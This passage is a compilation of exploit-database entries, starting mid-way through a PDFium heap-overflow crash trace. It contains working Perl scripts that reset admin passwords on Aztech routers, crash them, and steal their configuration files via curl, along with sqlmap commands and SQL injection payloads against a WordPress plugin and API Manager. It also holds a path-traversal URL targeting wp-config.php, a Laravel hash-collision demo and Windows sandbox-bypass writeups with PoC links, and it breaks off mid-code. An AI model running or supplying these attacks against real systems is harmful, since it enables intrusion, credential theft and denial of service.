    #11 0xba9823 in CPDF_ProgressiveImageLoaderHandle::Start(CPDF_ImageLoader*, CPDF_ImageObject const*, CPDF_PageRenderCache*, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1561:11
    #12 0xbaa67e in CPDF_ImageLoader::StartLoadImage(CPDF_ImageObject const*, CPDF_PageRenderCache*, void*&, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1639:17
    #13 0xb7d368 in CPDF_ImageRenderer::StartLoadDIBSource() third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:337:7
    #14 0xb77897 in CPDF_ImageRenderer::Start(CPDF_RenderStatus*, CPDF_PageObject const*, CFX_Matrix const*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:484:7
    #15 0xb64fb6 in CPDF_RenderStatus::ContinueSingleObject(CPDF_PageObject const*, CFX_Matrix const*, IFX_Pause*) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render.cpp:320:10
    #16 0xb70a25 in CPDF_ProgressiveRenderer::Continue(IFX_Pause*) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1152:13
    #17 0xb6f633 in CPDF_ProgressiveRenderer::Start(IFX_Pause*) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1090:3
    #18 0x52c1f1 in FPDF_RenderPage_Retail(CRenderContext*, void*, int, int, int, int, int, int, int, IFSDK_PAUSE_Adapter*) third_party/pdfium/fpdfsdk/src/fpdfview.cpp:752:3
    #19 0x52b7fb in FPDF_RenderPageBitmap third_party/pdfium/fpdfsdk/src/fpdfview.cpp:507:3
    #20 0x4dae22 in RenderPage(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, void* const&, void* const&, int, Options const&) third_party/pdfium/samples/pdfium_test.cc:363:3
    #21 0x4dd558 in RenderPdf(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, char const*, unsigned long, Options const&) third_party/pdfium/samples/pdfium_test.cc:520:9
    #22 0x4de3d1 in main third_party/pdfium/samples/pdfium_test.cc:597:5
0x6250001bf680 is located 0 bytes to the right of 9600-byte region [0x6250001bd100,0x6250001bf680)
allocated by thread T0 here:
    #0 0x4b0154 in __interceptor_calloc
    #1 0x88219f in opj_j2k_update_image_data third_party/pdfium/third_party/libopenjpeg20/j2k.c:8157:57
    #2 0x8817d7 in opj_j2k_decode_tiles third_party/pdfium/third_party/libopenjpeg20/j2k.c:9603:23
    #3 0x869d57 in opj_j2k_exec third_party/pdfium/third_party/libopenjpeg20/j2k.c:7286:41
    #4 0x869d57 in opj_j2k_decode third_party/pdfium/third_party/libopenjpeg20/j2k.c:9796
    #5 0x88d234 in opj_jp2_decode third_party/pdfium/third_party/libopenjpeg20/jp2.c:1483:8
    #6 0x8580f6 in opj_decode third_party/pdfium/third_party/libopenjpeg20/openjpeg.c:412:10
    #7 0x5d8c02 in CJPX_Decoder::Init(unsigned char const*, unsigned int) third_party/pdfium/core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:742:11
    #8 0x5dc7d0 in CCodec_JpxModule::CreateDecoder(unsigned char const*, unsigned int, bool) third_party/pdfium/core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:866:10
    #9 0xb9909c in decoder third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:75:36
    #10 0xb9909c in CPDF_DIBSource::LoadJpxBitmap() third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:698
    #11 0xb917d3 in CPDF_DIBSource::CreateDecoder() third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:645:5
    #12 0xb8c8af in CPDF_DIBSource::StartLoadDIBSource(CPDF_Document*, CPDF_Stream const*, int, CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:365:13
    #13 0xb75b33 in CPDF_ImageCache::StartGetCachedBitmap(CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:308:7
    #14 0xb75693 in CPDF_PageRenderCache::StartGetCachedBitmap(CPDF_Stream*, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:143:13
    #15 0xba9823 in CPDF_ProgressiveImageLoaderHandle::Start(CPDF_ImageLoader*, CPDF_ImageObject const*, CPDF_PageRenderCache*, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1561:11
    #16 0xbaa67e in CPDF_ImageLoader::StartLoadImage(CPDF_ImageObject const*, CPDF_PageRenderCache*, void*&, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1639:17
    #17 0xb7d368 in CPDF_ImageRenderer::StartLoadDIBSource() third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:337:7
    #18 0xb77897 in CPDF_ImageRenderer::Start(CPDF_RenderStatus*, CPDF_PageObject const*, CFX_Matrix const*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:484:7
    #19 0xb64fb6 in CPDF_RenderStatus::ContinueSingleObject(CPDF_PageObject const*, CFX_Matrix const*, IFX_Pause*) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render.cpp:320:10
    #20 0xb70a25 in CPDF_ProgressiveRenderer::Continue(IFX_Pause*) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1152:13
    #21 0xb6f633 in CPDF_ProgressiveRenderer::Start(IFX_Pause*) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1090:3
    #22 0x52c1f1 in FPDF_RenderPage_Retail(CRenderContext*, void*, int, int, int, int, int, int, int, IFSDK_PAUSE_Adapter*) third_party/pdfium/fpdfsdk/src/fpdfview.cpp:752:3
    #23 0x52b7fb in FPDF_RenderPageBitmap third_party/pdfium/fpdfsdk/src/fpdfview.cpp:507:3
    #24 0x4dae22 in RenderPage(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, void* const&, void* const&, int, Options const&) third_party/pdfium/samples/pdfium_test.cc:363:3
    #25 0x4dd558 in RenderPdf(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, char const*, unsigned long, Options const&) third_party/pdfium/samples/pdfium_test.cc:520:9
    #26 0x4de3d1 in main third_party/pdfium/samples/pdfium_test.cc:597:5

SUMMARY: AddressSanitizer: heap-buffer-overflow (pdfium_test+0x892374)
Shadow bytes around the buggy address:
  0x0c4a8002fe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a8002fe90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a8002fea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a8002feb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a8002fec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4a8002fed0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a8002fee0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a8002fef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a8002ff00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a8002ff10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a8002ff20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==9326==ABORTING
--- cut ---

The crash was reported at https://code.google.com/p/chromium/issues/detail?id=554172. Attached is a PDF file which triggers the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39321.zip
HireHackking 
gongwalker API Manager v1.1 - Blind SQL Injection

# Exploit Title: gongwalker API Manager v1.1 - Blind SQL Injection
# Date: 2016-01-25
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/gongwalker/ApiManager
# Software Link: https://github.com/gongwalker/ApiManager.git
# Version: v1.1
# Tested on: Debian

# =================== Vulnerability Description =================== #
Api Manager's index.php used tag parameters is vulnerable
http://127.0.0.1/vul_test/ApiManager/index.php?act=api&tag=1

# ========================= SqlMap Query ========================== #
sqlm -u "http://127.0.0.1/vul_test/ApiManager/index.php?act=api&tag=1" --level 4 --dbs --no-cast -p tag

# ================= SqlMap Result(get My Test DB) ================= #
Parameter: tag (GET)
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: act=api&tag=1' RLIKE (SELECT (CASE WHEN (9435=9435) THEN 1 ELSE 0x28 END)) AND 'uUNb'='uUNb

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: act=api&tag=1' AND (SELECT * FROM (SELECT(SLEEP(5)))qakZ) AND 'cSPF'='cSPF
---
[21:14:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.0.11
[21:14:21] [INFO] fetching database names
[21:14:21] [INFO] fetching number of databases
[21:14:21] [INFO] resumed: 25
[21:14:21] [INFO] resumed: information_schema
[21:14:21] [INFO] resumed: "
[21:14:21] [INFO] resumed: ""
[21:14:21] [INFO] resumed: '
[21:14:21] [INFO] resumed: ''
[21:14:21] [INFO] resumed: '''
[21:14:21] [INFO] resumed: api
[21:14:21] [INFO] resumed: blackcat
[21:14:21] [INFO] resumed: edusec

...
HireHackking 
source: https://www.securityfocus.com/bid/69849/info

Laravel is prone to a security weakness due to pseudo password hash collision.

Attackers can exploit this issue to bypass intended security restrictions. This may aid in further attacks. 

// user input password
$input = str_repeat('A',72);
// plaintext password
$pass1 =
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.'mysupersecretpassword';
$pass2 =
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.'longcatishere';
// hashed password
$hash1 = Hash::make($pass1);
$hash2 = Hash::make($pass2);
// match?
$status1 = Hash::check($input, $hash1)?'Yes':'No';
$status2 = Hash::check($input, $hash2)?'Yes':'No';

User 1
Desc. Value
$input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$pass1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmysupersecretpassword
Hash::make($pass1)
$2y$10$9oMcpTwHgTzR5ZUMqlnMMOx/P18QZ5e9054lq.pwxw1O9urX3JHHu
Hash::check($input, $hash1) Yes

User 2
Desc. Value
$input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$pass2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlongcatishere
Hash::make($pass2)
$2y$10$W7wwB4nLmFjrenJGmx1uauqhjzikZNZA0qzxH8wkbiSmVatCYrAUm
Hash::check($input, $hash2) Yes
HireHackking 
# Exploit Title: WordPress appointment-booking-calendar <=1.1.23 - Shortcode SQL injection
# Date: 2016-01-24
# Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/
# Exploit Author: Joaquin Ramirez Martinez [i0 security-lab]
# Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form
# Vendor: CodePeople.net
# Vebdor URI: http://codepeople.net
# Version: 1.1.23
# OWASP Top10: A1-Injection
# Tested on: windows 10 + firefox + sqlmap 1.0.

===================
PRODUCT DESCRIPTION
===================
"Appointment Booking Calendar is a plugin for **accepting online bookings** from a set of **available time-slots in 
a calendar**. The booking form is linked to a **PayPal** payment process.

You can use it to accept bookings for medical consultation, classrooms, events, transportation and other activities
where a specific time from a defined set must be selected, allowing you to define the maximum number of bookings 
that can be accepted for each time-slot."

(copy of readme file)


======================
EXPLOITATION TECHNIQUE
======================
remote

==============
SEVERITY LEVEL
==============

critical

================================
TECHNICAL DETAILS && DESCRIPTION
================================

A SQL injection flaw was discovered within the latest WordPress appointment-booking-calendar plugin version 1.1.20.

The flaw was found in the function to run when a shortcode is found within a page in the wordpress site.
The function mentioned use unsanitized attributes and a user authenticated as a editor, autor or 
administrator (compromised) can exploit this vulnerability by adding crafted shortcodes on a page or post.

The security risk of SQL injection vulnerabilities are extremely because by using this type of flaw, 
an attacker can compromise the entire web server.

================
PROOF OF CONCEPT
================

An attacker(editor, autor or administrator) can embed into a post the following shortcode...

[CPABC_APPOINTMENT_LIST calendar="-1 or sleep(10)#"]

... and the post will take ten seconds loading.

==========
 CREDITS
==========

Vulnerability discovered by:
	Joaquin Ramirez Martinez [i0 security-lab]
	strparser[at]gmail[dot]com
	https://www.facebook.com/I0-security-lab-524954460988147/
	https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q


========
TIMELINE
========

2016-01-08 vulnerability discovered
2016-01-24 reported to vendor
2016-01-25 released appointment-booking-calendar 1.1.24
2016-01-26 full disclosure
HireHackking 
source: https://www.securityfocus.com/bid/69815/info

The Wordfence Security Plugin for WordPress is prone to following vulnerabilities:

1. Multiple HTML-Injection vulnerabilities
2. Multiple Security Bypass vulnerabilities

Successful exploits of these issues allow the attacker-supplied HTML and script code to run in the context of the affected browser potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user, or to bypass security mechanisms.

Wordfence Security Plugin 5.2.3 is vulnerable; other versions may also be affected 

http://www.example.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
HireHackking 
source: https://www.securityfocus.com/bid/69811/info

Multiple Aztech Modem Routers are prone to a session-hijacking vulnerability.

An attacker can exploit this issue to gain unauthorized access to the affected device. 

#!/usr/bin/perl
# Title: Aztech Modem Broken Session Management Exploit
# Author: Eric Fajardo - fjpfajardo@ph.ibm.com 
#
# A successful authentication of a privilege (admin) ID in the
# web portal allows any attacker in the network to hijack and
# reuse the existing session in order to trick and allow the web
# server to execute administrative commands. The command may be
# freely executed from any terminal in the network as long as
# the session of the privilege ID is valid. The below PoC shows 
# an un-authenticated request to the web server for an administrator 
# and user password reset.
#
# This exploit was tested working with the following modems:
# - DSL5018EN(1T1R) from Globe Telecom
# - DSL705E
# - DSL705EU

use strict;
use IO::Socket;

if(!defined($ARGV[0])) {
system ('clear');
print "---------------------------------------------\n";
print "++ Aztech Modem Broken Session Management Exploit\n";
print "++ Usage: perl $0 TARGET:PORT NEWPASSWORD\n";
print "++ Ex: perl $0 192.168.254.254:80 h4rh4rHaR\n\n";
exit;
}

my $TARGET = $ARGV[0];
my $NEWPASS = $ARGV[1];
my ($HOST, $PORT)= split(':',$TARGET);
my $PATH = "/cgi-bin/admAccess.asp";

system ('clear');
print "---------------------------------------------\n";
print "++ Sending POST string to $TARGET ...\n";

my $PAYLOAD = "saveFlag=1&adminFlag=1&SaveBtn=SAVE&uiViewTools_Password=$NEWPASS&uiViewTools_PasswordConfirm=$NEWPASS&uiViewTools_Password1=$NEWPASS&uiViewTools_PasswordConfirm1=$NEWPASS";
my $POST = "POST $PATH HTTP/1.1";

my $ACCEPT = "Accept: text/html, application/xhtml+xml, */*";
my $REFERER = "Referer: http://$HOST/cgi-bin/admAccess.asp";
my $LANG = "Accept-Language: en-US";
my $AGENT = "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25";
my $CONTYPE = "Content-Type: application/x-www-form-urlencoded";
my $ACENCODING = "Accept-Encoding: gzip, deflate";
my $PROXYCONN = "Proxy-Connection: Keep-Alive";
my $CONNLENGTH = "Content-Length: 179";
my $DNT = "DNT: 1";
my $TARGETHOST = "Host: $HOST";
my $PRAGMA = "Pragma: no-cache";

my $sock = new IO::Socket::INET ( PeerAddr => "$HOST",PeerPort => "$PORT",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock;

print $sock "$POST\n";
print $sock "$ACCEPT\n";
print $sock "$REFERER\n";
print $sock "$LANG\n";
print $sock "$AGENT\n";
print $sock "$CONTYPE\n";
print $sock "$ACENCODING\n";
print $sock "$PROXYCONN\n";
print $sock "$CONNLENGTH\n";
print $sock "$DNT\n";
print $sock "$TARGETHOST\n";
print $sock "$PRAGMA\n\n";
print $sock "$PAYLOAD\n";

print "++ Sent. Connect to the web URL http://$HOST with user:admin password:$NEWPASS\n";
$sock->close();
exit;
HireHackking 
/*
source: https://www.securityfocus.com/bid/69809/info

Multiple Aztech routers are prone to a denial-of-service vulnerability.

Attackers may exploit this issue to cause an affected device to crash, resulting in a denial-of-service condition.

Aztech DSL5018EN, DSL705E and DSL705EU are vulnerable. 
*/

#!/usr/bin/perl
use strict;
use IO::Socket;

if(!defined($ARGV[0])) {
system ('clear');
print "---------------------------------------------\n";
print "++ Aztech Modem Denial of Service Attack\n";
print "++ Usage: perl $0 TARGET:PORT\n";
print "++ Ex: perl $0 192.168.254.254:80\n\n";
exit;
}

my $TARGET = $ARGV[0];
my ($HOST, $PORT)= split(':',$TARGET);
my $PATH = "%2f%63%67%69%2d%62%69%6e%2f%41%5a%5f%52%65%74%72%61%69%6e%2e%63%67%69";

system ('clear');
print "---------------------------------------------\n";
print "++ Resetting WAN modem $TARGET\n";

my $POST = "GET $PATH HTTP/1.1";
my $ACCEPT = "Accept: text/html";

my $sock = new IO::Socket::INET ( PeerAddr => "$HOST",PeerPort => "$PORT",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock;

print $sock "$POST\n";
print $sock "$ACCEPT\n\n";
print "++ Sent. The modem should be disconnected by now.\n";
$sock->close();

exit;
HireHackking 
source: https://www.securityfocus.com/bid/69787/info

Food Order Portal is prone to a cross-site request-forgery vulnerability.

An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

Food Order Portal 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/admin_user_delete.php?admin_id=[ADMIN ID]
HireHackking 
/*
source: https://www.securityfocus.com/bid/69808/info

Aztech Modem Routers are prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks. 
*/

HOST=$1
PORT=$2
PARM1="\x48\x6f\x73\x74\x3a\x20"
PARM2="\x50\x72\x6f\x78\x79\x2d\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x6b\x65\x65\x70\x2d\x61\x6c\x69\x76\x65"
PARM3="\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x3b\x71\x3d\x30\x2e\x39\x2c\x69\x6d\x61\x67\x65\x2f\x77\x65\x62\x70\x2c\x2a\x2f\x2a\x3b\x71\x3d\x30\x2e\x38"
PARM4="\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x33\x37\x2e\x30\x2e\x32\x30\x36\x32\x2e\x31\x30\x33\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36"
PARM5="\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x61\x64\x6d\x53\x65\x74\x74\x69\x6e\x67\x73\x2e\x61\x73\x70"
PARM6="\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x64\x65\x66\x6c\x61\x74\x65\x2c\x73\x64\x63\x68"
PARM7="\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x38"

NARGS=1
BARGS=65
main() {
        printf "\---------------------------------------------\n";
        printf "++ Aztech Modem Get Configuration File Exploit\n";
        printf "++ Usage: $0 TARGET PORT\n";
        printf "++ Ex: $0 192.168.254.254 80\n\n";

}

[[ $# -le $NARGS ]] && main && exit $BARGS

curl -i -H "$PARM1" \
        -H "$PARM2" \
        -H "$PARM3" \
        -H "$PARM4" \
        -H "$PARM5" \
        -H "$PARM6" \
        -H "$PARM7" http://www.example.com:$PORT/%63%67%69%2d%62%69%6e%2f%75%73%65%72%72%6f%6d%66%69%6c%65%2e%63%67%69 > romfile.cfg
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=573

Windows: Sandboxed Mount Reparse Point Creation Mitigation Bypass Redux
Platform: Windows 10, not tested any other OS
Class: Security Feature Bypass

Summary:
The fix for CVE-2015-2553 can be bypassed to get limited mount reparse points working again for sandbox attacks.

Description:

Not sure if this is the only way but you can bypass the fix (which limited ProcessDeviceMap in a sandbox) by instead abusing shadow object directories. NtCreateObjectDirectoryEx takes an additional parameter of a handle to a shadow directory which works similar to the ?? -> GLOBAL?? fallback. If you can create a named object directory (so normal low IL or EPM sandboxes) you can create a dummy directory which shadows GLOBAL??. You can then construct the dos device path using something similar to my last poc by overriding the lookup for C: or GLOBALROOT by dropping an object directory or symlink. If you set the reparse point it will be redirected to an arbitrary location which you control. You can now release the inner object directory or symlink which means the shadow directory version of the name will be found meaning the higher privileged application will pick up the real target.

For example while setting reparse point you can get:

\BaseNamedObjects\Dummy\C:\windows -> \Device\NamedPipe\

if you now release the C: object directory you get:

\BaseNamedObjects\Dummy\C:\Windows -> \GLOBAL??\C:\Windows

This does have a few limitation from the previous attack:

1. You must be able to create a named object directory, but that's most places outside of a Chrome renderer.
2. The reparse point only works as long as the object directory exists, so probably the lifetime of the attacking process but that's probably okay for a typical privilege escalation.

Proof of Concept:

I’ve provided a PoC which will demonstrate the bypass. It should be executed at low integrity using psexec or modifying the executable file’s ACL to low. You can compare the operation to the command shell’s mklink tool that will fail to create the mount point at low integrity. The archive password is ‘password’. Follow these steps: 

1) Extract the PoC to a location on a local hard disk which is writable by a normal user.
2) Execute the poc executable file as low integrity passing two arguments, the path to a directory to create (must be somewhere than can be written to as low integrity user such as AppData\Temp\Low) and the arbitrary file path to set the mount point to. For example:
poc.exe c:\users\user\appdata\local\low\abc c:\notreal
3) While the PoC is running you can now list the directory and get access to its contents.

Expected Result:
It shouldn’t be possible to create a mount point pointed at a location not writable by low integrity user

Observed Result:
The mount point is created successfully. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39311.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=589

Windows: Sandboxed Mount Reparse Point Creation Mitigation Bypass Redux 2
Platform: Windows 8.1, not tested any other OS
Class: Security Feature Bypass

Summary:
The fix for CVE-2015-2553 can be bypassed to get limited mount reparse points working again for sandbox attacks by abusing anonymous token impersonation.

Description:

This is another way of bypassing fix introduced in CVE-2015-2553 to block access to creating mount point reparse points. In this case instead of using the per-process device map directory we can use the fact that the anonymous token can support a per-user device map directory. If this doesn’t exist (which seems to be rare it gets created) the kernel uses ZwCreateDirectoryObject inside SeGetTokenDeviceMap. 

So instead of creating an anonymous directory object and setting it as the per-process device map we do everything while impersonating the anonymous token and open \?? as the root directory. We can then use the same trick as in the original PoC to set the mount point by pointing it at \Device\NamedPipe. This works because traversal is not blocked due to you not fixing MSRC case 21132.

I guess this could be fixed by passing the OBJ_IGNORE_IMPERSONATED_DEVICEMAP flag when checking for the writable directory, but of course that might go horribly wrong somewhere. Or perhaps the anonymous authentication ID shouldn’t create a per-user device map?

This does have a limitation from the previous attack as it doesn’t work if the process has a restricted token as NtImpersonateAnonymousToken returns STATUS_ACCESS_DENIED although I believe it would work from AppContainer assuming the device map hadn’t already been created (otherwise not sure the DACL would allow access).

Proof of Concept:

I’ve provided a PoC which will demonstrate the bypass. It should be executed at low integrity using psexec or modifying the executable file’s ACL to low. You can compare the operation to the command shell’s mklink tool that will fail to create the mount point at low integrity. The archive password is ‘password’. Follow these steps: 

1) Extract the PoC to a location on a local hard disk which is writable by a normal user.
2) Execute the poc executable file as low integrity passing two arguments, the path to a directory to create (must be somewhere than can be written to as low integrity user such as AppData\Temp\Low) and the arbitrary file path to set the mount point to. For example:
poc.exe c:\users\user\appdata\local\low\abc c:\notreal
3) While the PoC is running you can now list the directory and get access to its contents.

Expected Result:
It shouldn’t be possible to create a mount point pointed at a location not writable by low integrity user

Observed Result:
The mount point is created successfully. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39310.zip
HireHackking 
# Exploit Title: WordPress appointment-booking-calendar <=1.1.23 - Unauthenticated SQL injection
# Date: 2016-01-26
# Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ] --[now i0 security-lab]
# Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form
# Vendor: CodePeople.net
# Vebdor URI: http://codepeople.net
# Version: 1.1.23
# OWASP Top10: A1-Injection
# Tested on: windows 10 + firefox + sqlmap 1.0.

===================
PRODUCT DESCRIPTION
===================
"Appointment Booking Calendar is a plugin for **accepting online bookings** from a set of **available time-slots in 
a calendar**. The booking form is linked to a **PayPal** payment process.

You can use it to accept bookings for medical consultation, classrooms, events, transportation and other activities
where a specific time from a defined set must be selected, allowing you to define the maximum number of bookings 
that can be accepted for each time-slot."

(copy of readme file)


======================
EXPLOITATION TECHNIQUE
======================
remote

==============
SEVERITY LEVEL
==============

critical

================================
TECHNICAL DETAILS && DESCRIPTION
================================

A unauthenticated SQL injection flaw was discovered within the latest WordPress 
appointment-booking-calendar plugin version 1.1.23.

The flaw were found in the function that is executed when the action ´cpabc_appointments_check_IPN_verification´ is called.
The action is added with ´init´ tag, so it function is called every time when parameter ´action=cpabc_appointments_check_IPN_verification´
appear in the query string (GET request) or POST request.

But for to execute the vulnerable line of code, an attacker need to carry out some conditions:
- The query string must contain the ´cpabc_ipncheck´ parameter.
- The ´cpabc_ipncheck´ must have the value ´1´.
- The query string must contain the ´itemnumber´ parameter (it is necessary for injection).

By having all those rules, the attacker can exploit the vulnerability.

The security risk of SQL injection vulnerabilities are extremely because by using this type of flaw, an attacker
can compromise the entire web server.

================
PROOF OF CONCEPT
================

An unauthenticated attacker can make a request like...

http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=cpabc_appointments_check_IPN_verification
&cpabc_ipncheck=1&itemnumber=<SQL commands>

Example:

	Exploiting simple SQL injection:

	http://localhost/wordpress/wp-admin/admin-ajax.php?action=cpabc_appointments_check_IPN_verification
	&cpabc_ipncheck=1&itemnumber=(SELECT * FROM (SELECT(SLEEP(5)))Qmyx)

	Exploiting second order SQL injection with ´CHAR´ function will append ´0 or sleep(10)#´ to second sql 	statement:
	
	http://localhost/wordpress4.0.1/wp-admin/admin-ajax.php?action=cpabc_appointments_check_IPN_verification
	&cpabc_ipncheck=1&itemnumber=-1 UNION SELECT 1,CHAR	(48,32,111,114,32,115,108,101,101,112,40,49,48,41,35),3,4,5,6,7,8,9,10,11#

	

===============
VULNERABLE CODE
===============

located in ´cpabc_appointments.php´

function cpabc_appointments_check_IPN_verification() {

    global $wpdb;

	if ( ! isset( $_GET['cpabc_ipncheck'] ) || $_GET['cpabc_ipncheck'] != '1' ||  ! isset( $_GET["itemnumber"] ) )
		return;
    ...

    //HERE IS SANITIZED (when we inject a sql statement the `intval` function value turn to 0 and never is executed the `if` code)
